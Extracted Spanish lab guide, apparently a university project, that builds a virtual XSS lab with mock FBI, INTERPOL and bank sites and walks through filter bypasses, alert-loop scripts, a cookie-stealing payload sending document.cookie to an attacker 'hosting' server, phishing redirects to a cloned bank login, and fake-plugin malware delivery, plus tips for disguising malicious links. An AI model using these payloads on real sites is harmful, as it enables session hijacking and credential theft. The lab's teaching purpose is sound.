Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Cookies: Una cookie puede definirse como un fichero de texto que un servidor
web envía al navegador desde el instante en el que se accede al mismo.
12
Cross Site Scripting (XSS): Cross Site Scripting es una vulnerabilidad en
aplicaciones web que permite la inyección de código HTML y código scripting.
Esto se debe al mal tratamiento de las variables por parte de los programadores,
que en ocasiones ignoran o dan poca importancia a estas brechas significativas de
seguridad en la información.
Existe 2 tipos de ataque XSS:
Reflejado: El ataque no permite inyectar código de forma directa y es el más
común.
Persistente: Este ataque almacena el código malicioso directamente en la base
de datos afectando a cualquier usuario que visite la página vulnerada
Easyphp: En realidad habría que ser más específicos si se dice que EasyPHP no
es un sólo programa, sino que en realidad son tres en uno. Por un lado se tiene a
Apache, el servidor más popular de páginas web. Por otro lado a MySQL, la base
de datos más extendida de código libre y por otro a PHP, el lenguaje o tecnología
más extendida para realizar páginas con programación en servidor, acceso a
bases de datos, etc.
Javascript: “Se trata de un lenguaje de programación del lado del cliente, porque
es el navegador el que soporta la carga de procesamiento. Gracias a su
compatibilidad con la mayoría de los navegadores modernos, es el lenguaje de
programación del lado del cliente más utilizado.
Fuente: http://www.desarrolloweb.com/articulos/25.php
Phishing: “Se define Phishing como la capacidad de duplicar una página web
para hacer creer al visitante que se encuentra en el sitio web original, en lugar del
falso. Normalmente, se utiliza con fines delictivos enviando SPAM e invitando
acceder a la página señuelo. El objetivo del engaño es adquirir información
13
confidencial del usuario como contraseñas, tarjetas de crédito o datos financieros
y bancarios.”
Fuente: http://www.segu-info.com.ar/malware/phishing.htm
El potente hardware x86 actual fue diseñado para ejecutar un único sistema
operativo y una única aplicación. Sin embargo, la virtualización ha acabado con
estas limitaciones y ha hecho posible la ejecución simultánea de varios sistemas
operativos y varias aplicaciones en el mismo equipo físico, aumentando así el
aprovechamiento y la flexibilidad del hardware.”
Fuente: http://www.vmware.com/lasp/overview
14
6. REQUERIMIENTOS DE LOS AMBIENTES CONTROLADOS
Easyphp versión 1.8 y 2.1b, la licencia de este software es GNU General Public
License, permitiendo la instalación sin problemas, respetando Copyright (C) 1989
Free Software Foundation, Inc.
- Lo primero que se debe hacer es crear una máquina virtual con el programa
VMWare Work Station versión 7 con un mínimo de espacio en disco duro
de 2G y 200M de RAM. Luego se procede a instalar el sistema operativo
Windows XP service pack 2. La guía para crear una máquina virtual, se
puede descargar en:
http://foro.el-hacker.com/f70/re-cuh-zine-flash-1a-edicia-n-desca-rgatela-104108/.
15
Imagen 1. Panel de Configuración Máquina Virtual
16
Imagen 3 Ubicación carpetas requeridas en el laboratorio
17
continuación se modifica la Subnet con el valor IP 192.168.195.0 y se da un clic
en DHCP Settings para configurar los rangos de dirección IP.
18
Para finalizar la configuración de red se debe dar Ok, Aplicar y nuevamente Ok.
Por último se debe modificar la configuración de direcciones IP dinámicas de
cada una de las máquinas virtuales por direcciones IP estáticas.
Servidor ---> 192.168.195.130
Hosting ----> 192.168.195.128
Víctima/Atacante -----> puede ser dinámica
19
Fuente: Autor del Proyecto
20
esta acción podemos utilizar la opción de reemplazar que contiene el software
notepad.
- Lo siguiente que se debe hacer es crear las bases de datos requeridas para
el desarrollo del laboratorio. Para crear estas bases de datos sólo debemos
entrar a la administración de la base de datos colocando en la url del
navegador http://servidor/home/ o botón derecho sobre el icono del
Easyphp y damos clic en administración y posteriormente dar clic en
GESTION BBDD
21
Fuente: Autor del Proyecto
El paso a seguir es crear las bases de datos por medio de la importación de los
archivos, desde la administración de MySQL.
Se escribe en “Create new database” el nombre de la Base de Datos tal y como se
ve en los archivos con extensión .sql ubicados en C:\Archivos de
programa\EasyPHP1-8\www\serv\sql,
Al final damos clic en “Create”.
22
6.2 SERVIDOR HOSTING
- Lo primero que se debe hacer es crear una máquina virtual con el programa
VMWare Work Station versión 7 con un mínimo de espacio en disco duro
de 2G y 200M de RAM. Luego se procede a instalar el sistema operativo
Windows XP service pack 2
- Dentro de la carpeta www del Easyphp se debe alojar las seis (6) carpetas
llamadas, Cook, libro_vsi_malware, libro_vsi_clone, Met_post, Phishing y
sql y los archivos plugin_666.exe y el script.php que corresponde a las
páginas requeridas para el buen desarrollo del laboratorio.
23
Imagen 18. Ubicación carpetas requeridas en el laboratorio
24
Imagen 20. Configuración archivo Hosts
25
Imagen 22. Configuración del Apache (IP)
26
Lo siguiente es crear las bases de datos por medio de la importación de los
archivos .sql desde la administración de MySQL.
Estos pasos se deben realizar con los dos (2) archivos existentes identificados
como cookiesteal.sql y phishing.sql
27
6.3 VÍCTIMA / ATACANTE
28
7. DESARROLLO DEL LABORATORIO
Para esto se debe iniciar el Easyphp y abrir el navegador con la url http://servidor/,
y posterior a esto dar un clic en link serv.
Luego aparecerá una nueva ventana que despliega diferentes carpetas, entre ellas
la carpeta Pag_XSS, a la cual se debe dar un clic.
1
Vulnerabilidad: Es el factor de riesgo interno de un sistema expuesto a una amenaza, correspondiente a su
predisposición intrínseca a ser afectado o de ser susceptible a sufrir un daño.
29
Imagen 28. Carpetas Alojadas en el Servidor
En este punto se despliega otra ventana con otro grupo de carpetas, siendo la de
interés la carpeta denominada como Nivel1.
Una vez elegida la carpeta del Nivel1, se observará la primera página web (Grupo
Investigativo Delitos Informáticos) con la que se realizará las distintas pruebas.
30
Imagen 30. Página Web de la DIJIN
Esta página web contiene un formulario de ingreso a una base de datos que
puede ser vulnerable a XSS, y para ello se tiene distintas formas de comprobarlo.
31
Clave acceso del usuario “angelus” es errónea
Del mensaje de error se puede destacar, que dicho mensaje incorpora el valor de
la variable de la etiqueta user (angelus) ingresado por el atacante, concluyendo
que la página web muy posiblemente permite la inyección de código debido a que
permite incluir todo lo que se escriba en la etiqueta user.
32
El hecho de observar este tipo de comportamiento en la página web no quiere
decir que sea 100% vulnerable, así que para comprobar este fallo de seguridad
se debe hacer tratando de inyectar algo de código HTML como en el siguiente
ejemplo.
<h1>Angelus</h1>
El ejemplo da como resultado una página web que permite incrustar código HTML,
confirmando de esta forma que es vulnerable a ataques de Cross Site Scripting.
Ahora se puede probar con una más divertida.
<marquee>Angelus</marquee>
33
Imagen 36. Inyección de etiqueta HTML <p style> desde el formulario.
Ahora se puede practicar con algo sencillo de java script, que es el tipo de código
más usado y común en este tipo de ataques. Un ejemplo sería el siguiente.
<script>document.write("Libertad a la información!");</script>
34
Imagen 38. Resultado de la Inyección de Javascript.
Los formularios no son la única forma que se tiene para inyectar código, también
se puede lograr desde la misma url ya que se conoce el nombre de las variables.
De esta forma se crean las conocidas url malignas con la que suelen engañar a
las víctimas.
ASCII Hexa
< 3C
> 3E
( 28
35
Existe software y páginas que ayudan con esta tarea, como es el caso de la
página http://hwagm.elhacker.net/php/sneak.php que permite realizar la
codificación de la URL “maligna”
36
En la siguiente captura de pantalla se puede observar el código fuente del
formulario descrito anteriormente, con una serie de fragmentos de código
importante, marcados en rojo.
Ahora se analizarán cada uno de los fragmentos del código marcados en rojo.
En el primer fragmento se puede observar dos funciones importantes, el action y
el method.
37
El cual se encuentra al final del form, y que contiene la función include_once(),
que incluye y evalúa el fichero especificado durante la ejecución del script, que se
encuentra en la página xss0.php
Type=”text”
Type=”password”
Es importante conocer los nombres (name) que identifican a cada uno de los
input ya que son las variables que se enviaran por el método GET por medio de la
URL.
38
El fragmento del código resaltado en rojo contiene la vulnerabilidad que
explotamos anteriormente, a razón de un mal tratamiento de la variable.
Escenario: Se tiene una máquina virtual denominada Servidor que aloja la página
Web del FBI que es vulnerable a Cross Site Scripting reflejado. Además se cuenta
con una Víctima ubicada en una máquina virtual denominada Víctima/Atacante
que será afectada por el link malicioso.
Objetivo: Inyectar código javascript en la página web del FBI, saltando el Filtro
maxlength.
Requisitos:
Iniciar máquina virtual Servidor, con el servicio Easyphp.
Iniciar máquina virtual Víctima/Atacante, y abrir el navegador de Firefox
con la siguiente url http://servidor/serv/Pag_XSS/Nivel3/
Para realizar esta prueba se utilizará la página web (FBI) ubicada en la carpeta
Nivel 3.
39
Imagen 43. Página Web del FBI
Archivo Index.php
40
Archivo Xss2.php
Ahora lo que se tratará de hacer es lograr saltar este filtro y poder enviar el código
malicioso sin ser afectado por la restricción de número de caracteres, y para esto
se utilizará cierta técnica enfocada a modificar un formulario antes de enviarse,
llamada form tampering.
41
Imagen 47. Formulario de acceso a Base de Datos FBI
Una vez elegida la opción, se observará cómo los detalles son visualizados en la
mismo formulario de página web, donde se destaca el atributo maxlength=”8”.
42
Ahora se utilizará la opción de Eliminar restricción de caracteres de la barra
webdeveloper, con el fin de saltar la restricción del maxlength y poder inyectar el
script.
Ahora sólo queda escribir el script sin problema o restricción alguna y obtener el
resultado esperado.
<script>alert(/Angelus/);</script>
Escenario: Se tiene una máquina virtual denominada Servidor que aloja la página
Web de la INTERPOL que es vulnerable a Cross Site Scripting reflejado. Además
se cuenta con una Víctima ubicada en una máquina virtual denominada
Víctima/Atacante que será afectada por el link malicioso.
43
Obstáculo: Las variables del formulario están protegidas con el filtro Strip_Tags
que elimina las etiquetas HTML y php.
Requisitos:
Iniciar máquina virtual Servidor, con el servicio Easyphp.
Iniciar máquina virtual Víctima/Atacante, y abrir el navegador de
IExplorer con la siguiente url http://servidor/serv/Pag_XSS/Nivel2/
Esta función se encarga de eliminar de una variable todo lo que esté entre < >
evitando que se pueda ejecutar algún tipo de script por la eliminación de
etiquetas. Para el Strip_Tags usaremos la pagina web INTERPOL ubicada en la
carpeta Nivel2 de la máquina virtual Servidor, accediendo desde la máquina
virtual Servidor/Atacante desde la url http://servidor/serv/Pag_XSS/Nivel2/ con el
navegador IEplorer 6.
44
Imagen 53. Inyección de etiqueta HTML <h1> desde el formulario.
En este punto se concluiría que el filtro Strip_Tags no deja ninguna opción, pero
gracias a un fallo del navegador de Internet Explorer (IE) versión 6 y 7 sin parche
de seguridad, se puede saltar este tipo de filtro basado en algunos tags de hojas
de estilo en cascada (CSS), en inglés (Cascading Style Sheets), ya que se
pude incluir código javascript en algunos de estos elementos.
45
Imagen 55. Ventana de Alerta de Javascript
Ahora se analizará la parte del código donde se encuentra ubicado el filtro y para
ello se observará el código fuente del xss1.php. ubicado en C:\Archivos de
programa\EasyPHP1-8\www\serv\Pag_XSS\Nivel2. De la máquina virtual
servidor.
Escenario: Se tiene una máquina virtual denominada Servidor que aloja la página
Web de la DIJIN que es vulnerable a Cross Site Scripting reflejado. Además se
46
cuenta con una Víctima ubicada en una máquina virtual denominada
Víctima/Atacante y un servidor adicional utilizado por el Atacante ubicado en la
máquina virtual Hosting que contiene el código javascript malicioso.
Requisitos:
Las magic quotes activas afecta las comillas simples, comillas dobles, barras y
caracteres nulos proporcionados por el usuario, anteponiendo una barra invertida
antes de ser aprobada la secuencia de comandos en las variables $_GET,
$_POST y $_COOKIE. Esto quiere decir que si se utiliza el script <script>
alert("Libertad a la información!");</script> en la página web de la DIJIN
correspondiente al Nivel1, no se obtendrá un resultado positivo ya que el script
queda inservible.
47
Una vez realizada la acción se verá un bloc de notas en el cual se debe buscar las
Magic quotes gpc y modificar su un valor de off a on.
Este escenario está conformado por el Atacante, un servidor Hosting para alojar
nuestro script malicioso y nuestro servidor vulnerable con las magic_quotes
activas.
Una vez adecuado el ambiente, se procede a saltar este filtro usando un link que
nos dirija a un Hosting, el cual aloja el código malicioso listo para ser utilizado.
Desde la máquina virtual Víctima/Atacante se abre la página web ubicada en el
servidor http://servidor/serv/Pag_XSS/Nivel1/ y se intentará de inyectar el
siguiente script <script> alert("Libertad a la información!");</script> para
observar el resultado.
48
Como era de esperarse el script no dio resultado ya que se antepuso la barra
invertida antes de las comillas, dando como resultado la destrucción total de la
estructura del script.
Para dar solución a este problema se debe subir a un servidor web el script
malicioso, que en este caso la máquina virtual Hosting será la encargada de
alojar dicho script, ubicado en la url http://hosting/script.php.
El método para evitar el uso de las comillas en una primera parte, es convertir los
valores decimales a código Ascii, apoyándose de la siguiente herramienta de
conversión a nivel web http://easycalculation.com/ascii-hex.php. La primera
parte de la prueba se realizará con la palabra Angelus.
49
Imagen 61. Convertidor de cadenas de texto a ASCII en ambiente Web
Como se puede observar se ha saltado el filtro de las magic quotes, pero falta
acomodar el script para que nos direccione a otra web y ejecutar un código
malicioso más estructurado que requiere el uso de comillas. Convertir grandes
cadenas a código ASCII sería algo complicado, por esta razón usamos el
redireccionamiento.
50
Imagen 63. Convertidor de cadenas de texto a ASCII en ambiente Web
Escenario: Se tiene una máquina virtual denominada Servidor que aloja la página
Web del FBI la cual es vulnerable a Cross Site Scripting reflejado. Además se
cuenta con una Víctima ubicada en una máquina virtual denominada
Víctima/Atacante y un servidor adicional utilizado por el Atacante ubicado en la
máquina virtual Hosting.
51
Obstáculo: El método utilizado para el envío de los parámetros del formulario es
por medio del método POST.
Requisitos:
52
En la imagen se puede observar:
Ahora se debe enviar la URL “maligna” a la víctima que sería algo como:
http://hosting/Met_post/met_post.html, la URL puede no ser muy convincente pero
con un poco de Ingeniería Social2 y con ayuda de páginas web como
http://www.dot.tk/en/index.html?lang=es, se puede cambiar el nombre del dominio
y hacerlo algo más creíble. Ver imagen 119.
Otra forma es modificando el link desde un documento de Word, de tal forma que
en el campo “texto:” se colocará el link real de la web y en el campo
“Dirección:” se colocará la url de la página web a la que se desea direccionar.
2
Ingeniería Social: Técnica especializada o empírica del uso de acciones estudiadas o habilidosas que
permite manipular a las personas para que voluntariamente realicen actos que normalmente no harían.
53
De esta forma la víctima dará clic en un link que aparentemente corresponde a
http://servidor, sin fijarse que al colocar el mouse sobre el link, el navegador en la
parte inferior indica realmente hacia donde apunta dicho link, en este caso al
servidor http://hosting.
54
Algunos programadores creen estar protegidos si utilizan el método POST como
forma de envío de datos para protegerse del Cross Site Scripting, siendo esta
opción un gran error.
Sin pasar por alto los bypass vistos anteriormente, se procederá a ver algunos
códigos maliciosos y otras técnicas de ataque como son el Phishing y el robo de
cookies.
Código 1.
<script>
for (i=0;i<5;i++)
alert("5 veces "+ i);
</script>
En este script se utiliza un ciclo para obligar a la víctima a dar clic en el botón
aceptar durante 5 veces.
Código 2.
<script>
for (;;)
alert("No te queda otra que reinciar");
</script>
55
El siguiente script está formado por un for al que no se le han pasado parámetros,
convirtiéndose en un ciclo infinito que obliga al usuario o víctima a finalizar la
aplicación desde el administrador de tareas.
Código 3.
<script>
function sinsalida ()
{
if (confirm("Selecciona OK y serás libre"))
{
alert("eres libre…… o?");
}
else
{
alert("una vez mas");
}
sinsalida ();
}
sinsalida ();
</script>
56
Los scripts detallados anteriormente no serían muy útiles o productivos si los
enviamos por medio de un link “malicioso”, es decir, para vulnerabilidades tipo
reflejada. Este tipo de ataques son realmente productivos o peligrosos para
vulnerabilidades XSS tipo persistente ya que los scripts 2 y 3 darían como
resultado un Deface3 de la web.
Escenario: Se tiene una máquina virtual denominada Servidor que aloja el libro de
visitas de la página web de Dragonjar, la cual es vulnerable a Cross Site Scripting
persistente. Además se cuenta con un Atacante ubicado en una máquina virtual
denominada Víctima/Atacante para realizar la inyección de código sobre esta web.
Requisitos:
La siguiente parte del código del index.php del libro de visitas corresponde a la
conexión de la Base de Datos, procesamiento y validaciones de los datos del
formulario, además se detalla en rojo la característica que tiene la variable
$usuario, la cual no se encuentra filtrada y por lo tanto es vulnerable, caso
contrario sucede con la variable $firma que valida los datos con la función
htmlentities.
3
Deface: Es la modificación de una página web sin autorización del dueño de la misma
57
Imagen 73. Fragmento de Código fuente archivo index.php
La otra parte del código corresponde al formulario que envía los datos por medio
del método GET
Una vez conocido el código fuente del index.php del libro de visitas, se procederá
a ingresar a dicho libro por medio de la url http://servidor/serv/Libros_Vsi/ desde la
máquina virtual Víctima/Atacante.
58
Imagen 75. Página Web libro de Visitas
Una vez ingresado al libro de visitas, se procederá a dejar un mensaje para ver su
funcionalidad.
59
Desde Víctima/Atacante
60
Esquema 1. Ataque XSS Persistente
Víctimas
Petición a Servidor
Devuelve
2.
Script Maligno
3.
Servidor web
Libro de Visitas
Inyección de código
1.
Atacante
61
Lo siguiente a realizar es dar clic en la pestaña de Contenido y deseleccionar
Activar JavaScript, de esta forma ya se puede entrar a la página sin ser afectado
por el código malicioso.
62
Imagen 82. Módulo de Administración de MySQL
La Base de Datos Libro_visitas, está conformado por una (1) tabla denominada
firmar, que contiene 3 campos nombrados como firma_ID, usuario y firma.
Para observar el contenido de los campos se debe dar clic en el icono que
identifica la tabla firmar como se observar en la imagen.
63
Imagen 84. Registro de los datos del Libro de Visitas en la Base de Datos
Escenario: Se tiene una máquina virtual denominada Servidor que aloja una
página web de la INTERPOL que es vulnerable a Cross Site Scripting reflejado,
mediante la cual se accede a la base de datos de esta entidad. Además se cuenta
con una Víctima que se encuentra ubicada en la máquina virtual denominada
Víctima/Atacante.
Objetivo: Obtener el login y password de la Víctima que tiene acceso a la base de
datos de la página web de la INTERPOL, por medio del robo de cookies.
Requisitos:
Para el inicio del robo de las famosas cookies se usará la máquina virtual
servidor, que aloja la página web denominada interpol, con url
http://servidor/serv/Cookie_Interpol/ y con ubicación física C:\Archivos de
programa\EasyPHP1-8\www\serv\Cookie_Interpol\index.php
64
Imagen 85. Página Web de la INTERPOL
Las cookies de sesión están activas desde la configuración del php.ini, como se
observa en la siguiente captura de pantalla.
65
Para un mejor desarrollo de la práctica, se modificó los valores de las siguientes 2
líneas del archivo php.ini para evitar la caducidad de la sesión al momento de
cerrar el navegador.
Las cookies de user y password son activadas desde la cabecera del index.php
de la web INTERPOL
66
Hosting que aloja el código maligno encargado de robar la cookie y
guardarla ya sea en un archivo .txt o en una Base de Datos.
5. El atacante accede al servidor web HOSTING para consultar la (las)
cookies robadas.
Para iniciar se debe estar seguro que los servidores easyphp en las máquinas
virtuales servidor y hosting se encuentren debidamente iniciados.
67
Ahora desde la máquina virtual Víctima/Atacante se abre el navegador IExplorer
y se coloca en la url el siguiente link http://servidor/serv/Cookie_Interpol/
Una vez realizada la acción, la cookie de sesión es copiada en el disco duro de la
víctima en la siguiente ubicación:
C:\Documents and Settings\user1.PC4\Cookies\user1@servidor[2].txt
68
Una vez se tiene acceso a la base de datos de la INTERPOL, el servidor guarda
las cookies (en este caso sin cifrar) de login y password en el disco de la
víctima, con ubicación:
69
Una vez elegida la base de datos se da clic en el icono de la tabla logeo y a
continuación se desplegará los valores de nick y pass de los usuarios que pueden
acceder.
Las variables del formulario de autenticación son tratadas por el archivo xss1.php
ubicado en C:\Archivos de programa\EasyPHP1-8\www\serv\Cookie_Interpol
70
Imagen 95. Fragmento de código fuente archivo xss1.php
Ya se tiene claro que existe una gran posibilidad de que el formulario de búsqueda
sea vulnerable a XSS, y para ello se utilizará un script sencillo para comprobarlo
<script> alert("Libertad a la información!");</script>
71
Imagen 97. Inyección de código Javascript en formulario de Búsqueda
Las cookies robadas pueden ser almacenadas en un archivo .txt o por medio de
una base de datos.
Link malicioso:
http://servidor/serv/Cookie_Interpol/?find=%3Cscript%3Ewindow.location%3
D%27http%3A%2F%2Fhosting%2Fcook%2Fhack.php%3Fcookie%3D%27%2
Bdocument.cookie%3B%3C%2Fscript%3E
=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fhosting%2F
cook%2Fhack.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%
2Fscript%3E: Esta parte del link se encuentra el valor que contiene la
variable “buscar” y algunos caracteres especiales en hexadecimal, que
convertida a ASCCI se obtendría lo siguiente:
<script>window.location='http://hosting/cook/hack.php?cookie='+docu
ment.cookie;</script>
Analicemos el script:
72
window.location='http://hosting/cook/hack.php, esta parte del script
hace un redireccionamiento al servidor Hosting por medio del objeto
location de la propiedad window, que contiene un código en el archivo
hack.php encargado de robar la cookie.
Una vez almacenados los valores en las variables, dichos valores son escritos en
un archivo llamado steal.php, que se crea dado el caso que no exista o reescribe
en caso contrario.
73
Imagen 99. Código fuente del archivo steal.php
En este momento la víctima desconoce que sus cookies han sido robadas.
Para observar la cookie, el atacante debe ingresar a la máquina virtual hosting en
la siguiente dirección C:\Archivos de programa\EasyPHP 2.0b1\www\cook
donde se observa que se ha creado un nuevo archivo llamado steal.php que
contiene la información de las cookies.
74
Imagen 101. Ubicación y contenido del archivo steal.php
Link malicioso
http://servidor/serv/Cookie_Interpol/?find=%3Cscript%3Ewindow.location%3
D%27http%3A%2F%2Fhosting%2Fcook%2Fhack1.php%3Fcookie%3D%27%2
Bdocument.cookie%3B%3C%2Fscript%3E
75
Esta primera parte del código hack1.php en las líneas del 2-4, recibe el valor de
las variables cookie, IP y fecha.
En las líneas del 8-10 realiza la conexión a la base de datos y en las líneas del 13-
15 selecciona la base de datos.
En las líneas del 21-27 verifica las variables para evitar valores nulos que generen
mensajes de error.
Esta segunda parte del código hack1.php en la línea del 30-40, se encarga de
realizar la consulta de la cantidad de registros existentes y crear un nuevo registro
donde se insertarán los valores.
Al final del código se realiza un redireccionamiento a la página original para evitar
sospechas.
76
Una vez analizado el código, desde la máquina virtual Víctima/Atacante se abre
el navegador IExplorer 6 (vulnerable a este tipo de ataques) y se coloca el link
“malicioso” en la url del navegador, como si la víctima hubiese dado clic.
Sin más, sólo falta acceder a la base de datos donde se alojan los valores
guardados, y para ello se debe ingresar desde la máquina virtual Hosting, y
colocar en la url del navegador el siguiente link http://hosting/home/. Luego damos
clic en mysql gestion y elegimos la Base de Datos cookiesteal.
Por último se dará clic en el icono de la tabla steal y a continuación se
desplegará a la derecha los valores de ip, date y cookie robados a las víctimas.
Escenario: Se tiene una máquina virtual denominada Servidor que aloja una
página web del Banco Internacional del Ecuador que es vulnerable a Cross Site
Scripting reflejado, También se cuenta con un servidor adicional ubicado en la
máquina virtual Hosting que aloja la página web de autenticación del Banco
Internacional del Ecuador clonada y una Víctima que se encuentra ubicada en la
máquina virtual denominada Víctima/Atacante.
77
Requisitos:
Máquina virtual servidor, que aloja la página web del Banco Internacional
del Ecuador.
Máquina virtual Hosting, que aloja la página web clonada y modificada del
Banco Internacional, para el ataque con técnica Phishing
Máquina virtual Víctima/Atacante, que corresponde al equipo de la
víctima, que recibe el link “malicioso”.
78
Imagen 106. Página web principal del Banco Internacional del Ecuador
79
En esta página web la víctima accede con el número de tarjeta asignado y la clave
se ingresa por medio del teclado virtual, que cambia de posición los números de
forma aleatoria con cada ingreso realizado como mejora en la seguridad. Una vez
ingresado los datos de Nro. Tarjeta y Clave, se realiza el proceso de verificación
de autenticidad.
En resumen:
80
Imagen 109. Fragmento código fuente archivo logon.php
Para observar la Base de Datos con la cual se validan los datos, se debe ingresar
desde la máquina virtual servidor, escribiendo en la url del navegador el siguiente
link http://servidor/home/, luego se da clic al MANAGE DATABASE y se elige la
base de datos banco.
81
Si el proceso de autenticación es positivo, se observará la página web de acceso
concedido.
Imagen 112. Página web de acceso concedido del Banco Internacional del
ecuador
82
5. El Servidor web Hosting devuelve la página Clonada a la víctima
con el fin de obtener el login y el password que son almacenados en
una Base de Datos ubicada en el mismo Servidor web Hosting.
Envía URL
Maligna Devuelve Página
1. Clonada
5.
Servidor web
HOSTING
Accede a la
Base de Datos
6.
Atacante
Para iniciar el ataque se debe primero estar seguro que los servidores easyphp
en las máquinas virtuales servidor y hosting se encuentren iniciados.
83
Imagen 113. Panel de control del Easyphp
Ya se sabe que existe una gran posibilidad de que el formulario de búsqueda sea
vulnerable a XSS, y para ello se utilizará un script sencillo para comprobarlo
<script> alert("Libertad a la información!");</script>
84
Como se puede observar en la imagen, la vulnerabilidad se encuentra en el
formulario de búsqueda, el cual servirá para crear el link “malicioso” que debe ser
enviado a la víctima.
El link “malicioso” sería el siguiente:
http://servidor/serv/BcoInternacional/?Buscar=%3Cscript%3Edocument.locat
ion.href+%3D+%22+http%3A%2F%2Fhosting%2Fphishing%2Fhome.jsp.html
%22%3B%3C%2Fscript%3E#
“%3Cscript%3Edocument.location.href+%3D+%22+http%3A%2F%2Fho
sting%2Fphishing%2Fhome.jsp.html%22%3B%3C%2Fscript%3E#”: En
esta parte del link se encuentra el valor que almacena la variable “Buscar”
la cual contiene algunos caracteres especiales en hexadecimal, que
convertida a ASCCI se obtiene lo siguiente:
<script>document.location.href =
"http://hosting/phishing/home.jsp.html";</script>
document.location.href = "http://hosting/phishing/home.jsp.html",
Esta parte del script hace un redireccionamiento al servidor Hosting por
medio del objeto location de la propiedad document, que contiene la web
clonada identificada como home.jsp.html.
Las partes más importante se encuentra en las líneas 80, 162 y 168.
85
En la línea 162 y 168 contiene el “name” que identifica a cada uno de los input que
serán enviados por el formulario como son “usuario” y “clave”, uno del tipo text y
otro del tipo password respectivamente.
86
Para iniciar el ataque XSS con la técnica de Phishing, se debe ubicar como
primera instancia en la máquina virtual Víctima/Atacante y abrir el navegador
Mozilla Firefox. Posterior a esto se debe colocar el link “malicioso” en la url del
navegador como si la víctima hubiese dado clic.
Imagen 119. Página web clonada del Banco Internacional del Ecuador
87
Para hacer menos evidente la URL del servidor atacante al momento de cargar la
página clonada, lo que se debe hacer es renombrar la dirección web o url maligna,
con la que ustedes deseen, con la diferencia de que el dominio es diferente.
Para realizar este tipo de cambio en un campo no virtualizado (Real) se debe
ingresar a la página web http://www.dot.tk/en/index.html?lang=es, e ingresar la
URL del servidor atacante y seguir los pasos indicados, obteniendo al final un
resultado como el siguiente.
88
Por último se da un clic en el icono de la tabla inflo y a continuación se
desplegará a la derecha los valores de user y pass robados a la víctima.
7.3.5 Ataque XSS persistente para infección con malware (usando técnica
phishing).
Escenario: Se tiene una máquina virtual denominada Servidor que aloja el libro de
visitas de la página web de Dragonjar, la cual es vulnerable a Cross Site Scripting
persistente. También se cuenta con un servidor adicional ubicado en la máquina
virtual Hosting que aloja la página web del libro de visitas de Dragonjar clonada y
el malware para infectar. Además se cuenta con una Víctima que se encuentra
ubicada en la máquina virtual denominada Víctima/Atacante.
Requisitos:
El siguiente ataque tiene como fin infectar la máquina de múltiples víctimas con
cualquier tipo de malware, apoyado de la técnica de Phishing.
4
Malware: Término que engloba a todo tipo de programa o código de computadora cuya función es dañar
un sistema o causar un mal funcionamiento.
5
Máquina Zombie: Son computadoras infectadas por algún tipo de malware, al servicio de terceras personas
para ejecutar actividades hostiles con total desconocimiento del propietario o administrador del equipo
89
Este tipo de infección por medio de malware como troyanos o virus, permite al
atacante obtener el control del equipo, la destrucción de la información, daño del
mismo, o convertirlo en una máquina zombie5.
Para el desarrollo de esta práctica se utilizará:
Máquina virtual servidor, que aloja la página web del libro de visitas.
Máquina virtual Hosting, que aloja la página web clonada y modificada del
Libro de visitas, para el ataque con técnica Phishing
Máquina virtual Víctima/Atacante, que corresponde al equipo de la
víctima, que ingresa a la web.
Lo primero que se hará es ingresar a la página web que aloja el libro de visitas
desde la máquina virtual Víctima/Atacante
90
4. Las Víctimas realizan una petición al Servidor Hosting a causa de un
redireccionamiento gestionado por el Script Maligno, que lo dirige a una
página web clonada (Técnica Phishing).
5. La víctima procede a descargar plugin requerido por la web, que realmente
es un malware.
Atacante
Fuente: Autor del Proyecto
91
Fuente: Autor del Proyecto
92
Imagen 126. Fragmento código fuente del archivo index.php
El código que permite que se observe el estilo del mensaje del plugin tal y como
lo muestran normalmente algunas webs es el siguiente.
93
Imagen 128. Fragmento de código fuente archivo index.php
Estos dos fragmentos de código, que incluye estilo y link de descarga, nos da el
siguiente efecto.
94
Imagen 130. Mensaje de confirmación de la infección
95
8. CONTRAMEDIDAS
Fuente: http://zdnet.com
- Mod_security (Firewall)
Fuente: http://singlehop.com
96
- PHPIDS
Fuente: http://img.vivaolinux.com.br
- PROXY INVERSO
Fuente: http://www.haute-disponibilite.net/
97
CONCLUSIONES
Los ataques Cross Site Scripting generan un fuerte impacto sobre los usuarios de
aplicaciones web, colocando en riesgo la confiabilidad y la integridad de la
información.
98
BIBLIOGRAFIA
PELLO Xabier Altadill . HTML: Ataques XSS con Java Script [Sitio en Linea].
Disponible: http://4party.cuatrovientos.org/files/xssjavascript.pdf
[Consulta Enero 2010]
RSNAKE . XSS (Cross Site Scripting) for filter evasion [Sitio en Linea].Disponible:
http://ha.ckers.org/xss.html
[Consulta Febrero 2010]
99